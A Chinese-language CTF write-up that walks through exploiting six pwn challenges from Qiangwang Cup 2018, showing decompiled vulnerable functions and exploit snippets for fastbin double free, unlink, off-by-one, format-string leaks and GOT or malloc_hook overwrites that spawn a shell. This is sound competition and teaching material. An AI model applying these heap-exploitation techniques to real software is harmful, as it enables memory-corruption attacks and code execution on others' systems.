强网杯qwb_2018_pwn_gamebox复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错程序和 exp:
https://gitee.com/hac425/blog_data/blob/master/qwb2018/
正文silent漏洞 在 free 的时候指针没有清空，而且程序没有 检测指针是否已经被释放 double free， 后面的 编辑功能也没有检验指针是否已经被 free ，所以 uaf
signed __int64 free_()
{
int i; //
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &i);
getchar();
if ( i < 0 || i > 9 )
return 0xFFFFFFFFLL;
free(ptr_table);
return 0LL;
}
利用 在 new 一个内存的时候我们可以任意大小的内存，我们现在的能力
[*]分配任意大小的内存
[*]double free
[*]uaf
Double Free ---->Fastbin Attack 可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk加入 fastbin 是如果相应fastbin 的第一项和要加入的 chunk 不是同一个即可
add("/bin/sh\x00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60)
delete(1)
delete(2)
delete(1)
gdb.attach(p)
pause()
这样就会形成一个 下面的 fastbin 链
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
0x603070 在fastbin 链 中出现了两次，于是分配两次，0x603070 会被分配，而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的（其实这里可以直接改，因为有 uaf)
现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。
在程序的 bss 段存有 std 的指针
.bss:0000000000602080 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080 ; sub_4007F0+6↑o ...
.bss:0000000000602080 ; Copy of shared data
.bss:0000000000602088 align 10h
.bss:0000000000602090 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090 ; init_+17↑r
.bss:0000000000602090 ; Copy of shared data
.bss:0000000000602098 align 20h
.bss:00000000006020A0 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0 ; init_+53↑r
.bss:00000000006020A0 ; Copy of shared data
这些指针之间有一些填充空间(会被填充为0)， 然后 std 的指针的最低字节 就有可能 可以作为 fastbin 的 size .
http://oy9h5q2k4.bkt.clouddn.com/1522731166759zplm0yea.png?imageslim 于是修改大小为 0x70的fastbin的 fd 为0x60209d， 然后分配 2 次，我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表，使得 free@got 为 system@plt。
修改 ptr_table --> free@gotadd(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60)
add('\x00'*0x13+p64(0x602018), 0x60)# ptr0 --> free@got
p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt
delete(3) # free("/bin/sh\x00") ---> system("/bin/sh\x00")
silent2漏洞 在 silent 的基础上限制我们不能分配 fastbin
http://oy9h5q2k4.bkt.clouddn.com/1522731190179c2encdyo.png?imageslim利用 分配两个 0x90 的 chunk ,然后释放掉
分配一个大的 chunk 重用上面的空间，伪造 free chunk, 触发 unlink
改 strlen@got 为 system@plt
opm漏洞 在 add 功能处使用 gets 来读入字符串到 stack 的 buf 而且 buf 后面有 obj_ptr ，我们可以溢出覆盖 obj_ptr
obj *add()
{
obj *obj; // rbx
obj *obj_; // rbx
size_t name_len; // rax
obj *obj__; // rbx
char buf; // // 输入的缓冲区
obj *obj_ptr; // // obj 指针
char *v7; //
unsigned __int64 v8; //
v8 = __readfsqword(0x28u);
obj = operator new(0x20uLL);
init_obj(obj);
obj_ptr = obj;
obj->show_func = show_func;
puts("Your name:");
gets(&buf);
obj_ = obj_ptr; // gets 可以覆盖 obj_ptr
obj_->len = strlen(&buf);
name_len = strlen(&buf);
v7 = malloc(name_len);
strcpy(v7, &buf);
obj_ptr->nameptr = v7;
puts("N punch?");
gets(&buf); // gets 可以覆盖 obj_ptr
obj__ = obj_ptr;
obj__->punch = atoi(&buf);
show_func(obj_ptr);
return obj_ptr;
}
有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 \x00。
信息泄露泄露 heap 地址 主要的思路就是把 addr 写入 name 的缓冲区中，然后 printf 出来
add("a" * 0x70, str(32))
add("b" * 0x80 + "\x10", '1')# 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "\x10")
log.info("write a name_ptr to 8d00")
具体内存布局如图
http://oy9h5q2k4.bkt.clouddn.com/1522731210366k0hv7mbi.png?imageslim 0x5555557560e0 是 role_table 的地址， 可以看到 role_table 和role_table 的是一样的，成功把 name ptr 写入了 role->name 里面
泄露 程序基地址 && libc 后面通过 泄露的 heap 地址，和指针覆盖 来布局，leak 即可
修改 strlen@got 为 system 利用 obj->punch 局部修改
note漏洞 在修改 title 的位置
char *change_title()
{
char *result; // rax
signed int i; // eax
unsigned __int8 c; //
signed int index; //
printf("enter the title:");
index = 0;
while ( 1 )
{
c = getchar();
if ( check_black_list(c) )
break;
if ( index > 0x27 )
{
result = title + 0x27; // 最多 40 个字符
title = 0;
return result;
}
i = index++;
title = c;
}
result = c;
title = c;
return result;
}
title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入 black_list 中的字符，就会跳出循环，然后 title = black_char,off by one 。我们看看溢出的那个字节可以写入什么
00000000006020100A 21 3F 40 22 27 23 2600
利用 off by one 可以通过 伪造 free chunk 来触发 unlink ，所以选择 0x40, 通过调试可以知道，title 后面跟着的是 content
然后溢出后就可以设置 content 所在 chunk->size = 0x40
然后通过 realloc 一个很大的值，使得无法 通过扩展 chunk 来分配，这样就会把content放入 fastbin 。
再通过 realloc 一个很大的内存，触发 会把 content进入 smallbin 并且触发堆合并，触发 unlink.
之后修改 __realloc_hook 为 system
raisepig漏洞 在 eat_pig 功能处可以 double free
__int64 eat_pig()
{
unsigned int i; //
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
if ( pig_count )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &i);
if ( i > 0x63 || !pig_table ) // 这里只是判断，pig指针是不是为0
{
puts("Invalid choice");
return 0LL;
}
srand(0);
pig_table->is_lived = 0;
free(pig_table->name_ptr); // free掉name指针，没有free pig
}
else
{
puts("No pig");
}
return 0LL;
}
所以我们可以 多次 free(pig_table->name_ptr)
利用
[*] 由于在分配内存时使用 malloc , 而且分配后没有对内存进行清空，而且读入数据使用 read, 可以泄露出 libc
[*] 然后分配几个 0x90 的chunk , 释放中间两个会合并成一个大的 unsorted bin
[*] 然后分配大的 chunk 就可以拿到刚刚合并生成的大 chunk ， 结合 double free，进行 fastbin attack
[*] 修改 fastbin->fd = 0x81 分配一次后可以在 main_arean 有一个 p64(0x81)
[*] 使用 fastbin attack 可以修改 main_arean->top 为 malloc_hook-0x10
[*] 然后分配内存修改 malloc_hook 为 one_gadget
[*] 重复 free 同一个内存（不进行伪造），触发 malloc_printerr (这样更稳), 会调用 malloc, getshell
gamebox漏洞 在 play 函数中，调用 rand 函数初始化了 24 字节的 随机字符串，如果猜对了，就会调用 record 函数进行记录
http://oy9h5q2k4.bkt.clouddn.com/1522731232000lp0lydm9.png?imageslim size由我们输入，可以看到分配了 size 的内存 ， 后面写的时候 name 会溢出一个字节，不过只能溢出 \x00, off by null.
然后在 show 函数有格式化字符串漏洞
unsigned __int64 show()
{
signed int i; //
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
puts("=======RANK LIST=======");
for ( i = 0; i <= 9; ++i )
{
if ( obj_table.name_ptr )
{
putchar(i + '0'); // 打印名次
putchar(':');
printf(obj_table.name_ptr); // name_ptr 作为 printf的第一个参数，格式化
}
}
puts("=======================");
return __readfsqword(0x28u) ^ v2;
}
利用 rand 默认使用 srand(1), 我们本地调用 libc 的 srand(1) 和 rand 就可以生成相同的字符串
利用格式化字符串漏洞，泄露 libc 和 程序的基地址
off by null 直接套用 how2heap ，就可以 overlap heap
这时就可以利用 raisepig 的思路 或者 使用 unlink
参考
http://tacxingxing.com/2018/03/28/2018qwb/
页:
[1]